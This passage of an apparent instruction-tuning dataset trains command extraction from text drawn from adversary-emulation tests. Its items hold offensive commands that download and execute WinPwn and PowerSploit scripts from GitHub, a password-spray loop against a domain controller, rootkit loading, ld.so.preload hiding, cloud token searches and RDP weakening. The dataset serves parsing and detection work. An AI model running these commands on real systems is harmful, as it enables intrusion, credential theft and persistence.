-OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For auditing domain Group Policies for vulnerabilities, execute this command which utilizes Grouper2 through WinPwn's GPOAudit: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPOAudit -noninteractive -consoleoutput; You can enumerate remote access policies by executing this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGPORemoteAccessPolicy -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nGPOAudit -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nGPORemoteAccessPolicy -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Get-GPO cmdlet can be executed with this command to fetch GPO information: Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}; To map the IPC$ share on a Domain Controller while testing authentication for users listed in %temp%\\users.txt (with Spring2020 as the test password), run this carefully to avoid account lockouts. Successful attempts show [*] username:password, while failures display a dot. The process is executed via the command: @FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL",
    "output": "{\"command_list\": [\"Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}\", \"@FOR /F %n in (%temp%\\\\users.txt) do @echo | set/p=. & @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\%n\\\" \\\"#{password}\\\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an admin account for testing purposes, use the following command sequence: password=$(openssl passwd -1 art)\n([ \"$(uname)\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\nsu art -c \"whoami; exit\"\n; This test demonstrates how an adversary might reactivate a locked and expired account to appear legitimate. The process involves creating a user 'art', locking and expiring the account, failing to su to art, then unlocking and renewing the account with the command:\nuseradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\nusermod --lock art\nusermod --expiredate \"1\" art\nusermod --unlock art\nusermod --expiredate \"99999\" art\nsu -c whoami art\n",
    "output": "{\"command_list\": [\"password=$(openssl passwd -1 art)\\n([ \\\"$(uname)\\\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\\nsu art -c \\\"whoami; exit\\\"\\n\", \"useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\\nusermod --lock art\\nusermod --expiredate \\\"1\\\" art\\nusermod --unlock art\\nusermod --expiredate \\\"99999\\\" art\\nsu -c whoami art\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    On FreeBSD systems, you can list the password policy with the command: cat /etc/pam.d/passwd; The password complexity requirements can be displayed to console using this command: cat /etc/security/pwquality.conf",
    "output": "{\"command_list\": [\"cat /etc/pam.d/passwd\\n\", \"cat /etc/security/pwquality.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The online help redirection in Event Viewer can be modified to run a custom program by adding a registry value with this command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d \"#{redirection_program}\" /f; You can configure Remote Desktop Protocol by executing this registry command: reg add \"hklm\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Winstations\\\\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Event Viewer\\\" /v MicrosoftRedirectionProgram /t REG_EXPAND_SZ /d \\\"#{redirection_program}\\\" /f\", \"reg add \\\"hklm\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Winstations\\\\RDP-Tcp\\\" /v SecurityLayer /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For loading a rootkit as a kernel module, execute the command: sudo modprobe #{rootkit_name}\n; For simulating rootkit behavior through ld.so.preload, run this command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"",
    "output": "{\"command_list\": [\"sudo modprobe #{rootkit_name}\\n\", \"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For finding cached Azure authentication tokens, execute the following search command: find #{file_path}/.azure -name \"msal_token_cache.json\" -o -name \"accessTokens.json\" -type f 2>/dev/null; The system will search for Google Cloud credential files in the default location when you run this command: find #{file_path}/.config/gcloud -name \"credentials.db\" -o -name \"access_tokens.db\" -type f 2>/dev/null",
    "output": "{\"command_list\": [\"find #{file_path}/.azure -name \\\"msal_token_cache.json\\\" -o -name \\\"accessTokens.json\\\" -type f 2>/dev/null\\n\", \"find #{file_path}/.config/gcloud -name \\\"credentials.db\\\" -o -name \\\"access_tokens.db\\\" -type f 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: 